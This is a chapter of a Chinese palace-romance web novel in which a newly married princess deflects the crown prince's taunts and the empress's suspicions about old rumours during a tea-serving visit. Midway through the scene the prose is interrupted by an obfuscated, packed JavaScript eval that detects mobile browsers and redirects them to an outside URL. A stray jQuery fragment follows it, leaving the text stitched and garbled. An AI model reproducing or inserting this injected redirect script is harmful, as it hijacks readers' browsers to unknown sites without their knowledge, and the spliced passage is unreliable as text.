7. 第 7 章

作品:《如何让夫君放下杀心

    萧景荣比慕阮阮年长一岁,两人在上辈子其实几乎没说过话。


    他们的初见是在慕阮阮被收养的一年后,慕大将军携家眷赴宫中的中秋宴。那是慕阮阮首次亮相于人前,曾见过原将军府小女儿的人无不惊讶于她的长相。


    其中当属萧景荣表现得最为激动,不仅毫不掩饰面上的敌意,还趁没人注意时偷偷凑到慕阮阮的身边,恶声恶气质问。


    “谁允许你和她用同样的名字?”


    这是他对她说过的第一句话。


    彼时的慕阮阮还在竭尽全力讨得‘家人’的喜欢,并不想为将军府惹麻烦,只慌乱看了萧景荣一眼,便匆匆抬步躲去慕夫人的附近。


    之后的几年里他们又见过几面,萧景荣的眉头总是习惯性拧起,看慕阮阮的眼神就像是在看一件不入眼的物件,满是不喜。


    这样的两个人之间,原本不该有可能传出旖旎的逸闻。直到慕阮阮十三岁那年随慕夫人进宫参加皇后娘娘举办的百花宴。


    御花园很大,萧景荣和几名伴读在湖对岸练剑,身姿矫健、动作行云流水,每招每式都透着独属于少年郎的肆意张狂。


    赴宴的不少贵女恰逢情窦初开的年岁,不时朝湖对岸偷瞄而去,其中当属慕阮阮看得最大胆最认真。她默不作声起身离席,走到湖边驻足,竟直接看痴了。


    从那以后就有了她爱慕太子殿下的流言,一传十十传百,坊间演化出了五花八门的版本……


    *


    通往中宫的宫道上,萧景荣突然出现,萧玦下意识瞥向慕阮阮。


    见她只是微微抬眸、神色平静,他原本微抿的唇畔这才缓缓松开。


    萧景荣阔步走来,“不知皇兄皇嫂昨晚休息得如何?”


    路过慕阮阮身侧时,他刻意压低了声线。


    “一封信就能让你逃婚,你就那么想嫁入东宫?”


    他存心找慕阮阮不快,面上虽是笑着的,嘴角却挂着若有似无的嘲讽。


    慕阮阮:“……”


    这人在说什么。


    什么信?他怎么知道她想逃婚的?


    她连忙转头朝萧玦看去,后者看上去面无波澜,应当没听清萧景荣都说了啥。


    慕阮阮暗暗松了口气,萧玦现在对她虽说不上热络,但也算得上平和,可别被这无稽之谈给影响了。


    她一直都知道萧景荣讨厌她,毕竟他从来不曾加以掩饰。


    但上辈子她和萧玦成婚后,萧景荣就消停多了,明面上也对她客气起来,更没在她和萧玦新婚来宫中奉茶时找到跟前说那番胡话。


    这辈子的萧景荣……怎么看着比她婚前还要嫌恶她?


    慕阮阮往他跟前凑近了些,压低嗓子道:“你在胡说什么?什么信?什么嫁入东宫?”


    萧景荣还想看她能装到什么时候,却见她清澈的眸子中没有半点心虚,满脸莫名其妙,好像真的不明白他的话是什么意思。


    他一时间怔住。


    往日的慕阮阮面对他时总是低着头,从来不敢和他对上视线,也不敢回话。


    今日的她怎么有胆量直视着他的眼睛说话了?


    她昨晚才做下那种事,怎会这般坦荡?


    萧景荣:“你……”


    一阵寒风袭来,萧玦挡在了慕阮阮的身前。


    “别说了。”


    他淡淡睨了萧景荣一眼,转身握住慕阮阮的手腕。


    慕阮阮任由他拉着自己往前走,没来由觉得向来冷冰冰的他好像有了几丝情绪。


    因为萧景荣找她麻烦吗?


    她的心中流淌过一种怪异的感觉……


    萧景荣望着前方即将消失的两道人影,抿了抿唇,抬步跟上。


    *


    临近中宫正殿,慕阮阮感觉握在自己腕间的力道似乎收紧了些,悄悄侧眸。


    萧玦的神情依然冷淡,但他紧抿的薄唇、微动的眉眼中好像藏着几丝凝重。


    他在紧张吗?因为要面见景明帝和姜皇后而紧张?


    慕阮阮狐疑地侧过头,想从他的面容中瞅出更多的细节。


    她曾做过三年翊王妃,避无可避同萧玦一起出席过几次皇家场合。当时的萧玦在面见景明帝和姜皇后前,有过这般异动吗?


    她想不起来,毕竟当时的她根本不在意萧玦如何……


    不待她多想,萧玦抬步踏入中宫正殿,慕阮阮也收回思绪。


    殿内,景明帝和姜皇后的交谈戛然而止。


    “你来了。”


    景明帝的眸光锐利如鹰,冷峻的面容不怒自威,并没有因为儿子的到来表现出半点欣喜。


    姜皇后上一刻还在笑,抬眸瞥见萧玦的瞬间,眼中的笑意消失得无影无踪,取而代之的是一脸的端庄肃穆。她微微坐正身姿,优雅地将双手交叠放在膝上。


    “拜见父皇母后。”萧玦的脊背绷得笔直,唇线抿得很深。


    慕阮阮暗暗将这三人的反应收入眼底,乖顺地随萧玦一起行礼。


    景明帝颔首,“奉茶吧。”


    御前伺候的李公公命人将早就备好的茶盏呈上,送到慕阮阮和萧玦的面前。


    慕阮阮和萧玦拿起茶盏规规矩矩敬茶,殿内不再有人说话,气氛有些微妙。


    姜皇后例行公事般招来婢女,将一只玉镯赏赐给慕阮阮,尔后便垂眸专注饮茶。


    景明帝抿了一口茶,将茶盏递给李公公,“朕还有公务要办,你们聊。”


    言毕他便起身离去,眼皮都没再抬一下。


    慕阮阮:“……”


    怪不得冷冰冰如萧玦这样的人,在面见景明帝和姜皇后前都表现出了紧张的情绪。


    原来是他的父皇和母后都不待见他。


    今日是他新婚第一天带着媳妇儿来给公婆奉茶,可这二位一个比一个不给面子。


    养母冷淡也就罢了,就连生父也一句场面话不说,还着急走完章程开溜。


    萧玦刚刚戍边五年归来,没有功劳也有苦劳,怎么说也不至于受到如此冷待吧?


    她上辈子怎么没瞧出来呢?


    慕阮阮一顿。


    上辈子的她也急着开溜,能瞧出什么?


    姜皇后终于开口,“本宫累了,你们回去吧。”


    这是她今日对他们说的第一句话,却是道逐客令。


    萧玦四岁时她就把他养在身边,这母子情分怎就淡薄成了这样?


    慕阮阮下意识瞥向萧玦,只见他神色平静,深邃的眼眸毫无波澜,似是已经习惯了这种待遇。


    “母后!”一道声音从殿门方向传来,是萧景荣。


    “儿臣来给您请安。”


    姜皇后当即摆出了和方才天壤之别的态度,展开笑颜招手道:“快过来让母后好好瞧瞧!”


    慕阮阮纳罕地看着她的变脸绝活儿,再度下意识瞥向萧玦。


    萧玦:“儿臣先退下了。”


    姜皇后摆了摆手,一句话没说。


    慕阮阮愈加无语。


    明明萧景荣早些时候在宫道堵路嘲讽时,她的心头还没什么感觉。


    现下瞧着他朝殿内走来的轻快步伐,莫名让她觉得不太顺眼。


    “老三媳妇儿。”


    姜皇后倏然开口。


    慕阮阮收回落在萧景荣身上的视线,乖顺垂首,“母后……您唤臣媳?”


    姜皇后严肃道:“本宫之前不是没听闻坊间的流言,但你既已嫁了老三,过去的事也就过去了。”


    “太子不过是来给本宫请安,你一直盯着他看作甚?你如今嫁入皇家,将来会不时与太子打照面,莫不是往后每次都要盯着他这般看?”


    “还是早日把之前那些心思都收回去,好好放在老三的身上,莫要再招人说闲话!”


    慕阮阮:“……”


    姜皇后这是见她一直在看萧景荣,以为她对他余情未了?


    萧玦还在场,姜皇后就这般说话,真是不给面子呐。


    萧玦:“母后……”


    慕阮阮抢过话,“怎么连母后都轻信了那些坊间流言?”


    她可不想夹在萧玦和萧景荣两兄弟之间惹姜皇后注意,就趁此机会把事情说清楚吧。


    姜皇后挑眉,“哦?你的意思是,那些流言都是假的?”


    当年御花园的百花宴她也在场,将慕阮阮的行径都看了去,还有什么可狡辩的?


    慕阮阮:“确实都是假的。”


    萧玦和萧景荣双双转头向她投去视线。


    殿内暗流涌动,分散在殿角值守的宫婢们全都竖起了耳朵,生怕漏听一句话。


    慕阮阮:“那些流言是因当年的百花宴而起,是臣媳没能及时解释清楚才引起那么多误会,臣媳错了。”


    姜皇后:“误会?”


    慕阮阮点点头,“实不相瞒,臣媳幼时曾在民间遇险,危难之际,有位少年郎从天而降,将臣媳救下。”


    听到这,萧玦的薄唇微动。


    慕阮阮:“臣媳一直记得幼时的救命恩人,那年百花宴,臣媳看着湖对岸练剑的太子殿下,晃眼将他看成了那位救命恩人……才看了那么久。”


    姜皇后柳眉倒竖,“荒唐!太子只年长你一岁,幼时几乎从未出宫,又怎会是你的救命恩人!”


    “是的,臣媳也深知太子殿下不可能是那位救命恩人……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961927|161083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慕阮阮一边说着,一边看向身侧的萧玦,“直到后来,臣媳终于明白当年为何会对太子殿下产生错觉。”


    萧玦的眸中含起复杂的情愫。


    “你……都想起来了?”


    慕阮阮没想到他会在此时接话,还答得如此配合,顿了一瞬后,道:“嗯,想起来了。”


    她重新看向姜皇后,“当年将臣媳救下的少年郎其实是翊王殿下!”


    殿内不少宫婢都瞪大了眼,不敢相信自己所听到的一切。


    萧景荣错愕喃喃,“什……什么?”


    他根据慕阮阮的描述捕捉起记忆中的细节,后知后觉想起他那日练剑使的动作,确实有不少都是萧玦戍边前教给他的。再则……他那时的岁数应当差不多和萧玦救下慕阮阮时的岁数相仿。


    如若真是这样,如若当年慕阮阮实则是在透过他追寻救命恩人的影子……


    那他后来都做了什么好事?


    人们总是喜欢在道听途说的消息中添加自己的臆想。


    那年的百花宴之后,流言变了好几个版本,到最后不少人都在说乞儿出身的将军府养女心比天高,想通过嫁入东宫彻底改命,将来成为皇帝妃嫔、甚至成为皇后母仪天下。


    变了味儿的消息传入萧景荣的耳中,让他对慕阮阮的感觉直接从不喜变成了厌恶。


    尤其在慕阮阮和萧玦的婚期定下后,这种厌恶达到了顶峰。


    有伴读在他的耳边吹耳旁风,“将军府养女嫁不了太子就嫁刚刚戍边归来、前途无量的翊王,真是打得一手好算盘!”


    又有伴读反驳,“万一人家慕三小姐是真心爱慕翊王殿下,岂不是误会了人家?”


    “是贪慕虚荣退而求其次,还是真心爱慕翊王殿下,一试便知。”先前那名伴读戏谑地看向萧景荣,“只要太子殿下在大婚前夜递封信过去,便可成为试金石。”


    萧景荣蹙眉,“胡闹!”


    当时的话虽这么说,他后来还是那么做了。


    他与萧玦自幼情谊深厚,又怎能眼睁睁看着这般心机叵测的女子成为萧玦的王妃?


    萧玦好不容易戍边归来,应该娶更好的女子,至少也得是真心爱慕他的女子!


    倘若……慕阮阮就是真心爱慕着萧玦,那他岂不是大错特错了?


    那昨晚她又为何一身婢女行头,趁着夜色鬼鬼祟祟往东花园的方向摸去?


    还不待萧景荣提起这事,慕阮阮再度开口。


    “臣媳方才之所以盯着太子殿下看,是因为他一大早就将臣媳拦下说胡话!”


    慕阮阮想着先下手为强,决不能让萧景荣在姜皇后面前将那番胡话先说出来。


    姜皇后蹙眉,“胡话?”


    萧景荣一惊,拦道:“皇嫂,此事有误会。”


    慕阮阮才不管那么多,“太子殿下污蔑臣媳,说臣媳大婚前收了他一封信!”


    姜皇后眼风凌厉地扫向萧景荣,“你当真在你皇嫂大婚前给她写了封信?”


    萧景荣:“……”


    这下是百口莫辩了。


    怪只怪他自己干的蠢事……


    殿内针落可闻,婢女们屏息垂首,生怕姜皇后将怒火烧到她们的身上。毕竟翊王妃所讲之事涉及皇族成员之间的旖旎秘辛,真不是她们该听的。


    殿内迟迟没人接话,姜皇后的眉头越蹙越深。


    “那封信是我写的。”萧玦走到萧景荣的身边,轻轻拍了拍他的臂弯,“太子只是代为转交。”


    萧景荣当即接住了他递来的台阶:“没错,都是误会……”


    殿内的气氛明显缓和不少。


    慕阮阮没想到萧玦会为萧景荣解围,诧异地瞥向他。


    姜皇后面色微松,“既然事情已经水落石出,你就带着你的王妃回去吧,本宫还有话同太子说。”


    萧玦俯身作揖,“儿臣告退。”


    慕阮阮不再多言,随他一同行礼离开。


    *


    前往皇宫北门的路上,两人各怀心事,没有搭话。


    因着刚刚的见闻,慕阮阮的心中飘过各种杂七杂八的念头。


    她以为她的处境已经算是挺尴尬的了,萧玦这厮看上去比她还要尴尬。


    她在将军府至少还有个真心疼她的养母,而萧玦呢……生母早亡,生父不爱,养母不疼。


    有点惨。


    气氛太过沉重,慕阮阮觉得自己该先说点什么。


    “你方才在殿内怎么会想到那般接我那些瞎诌的话?”


    无论是接话的时机还是接话的内容,都像是和她提前练习过一样。


    萧玦顿住步子,蹙眉侧眸望来,“瞎诌的?”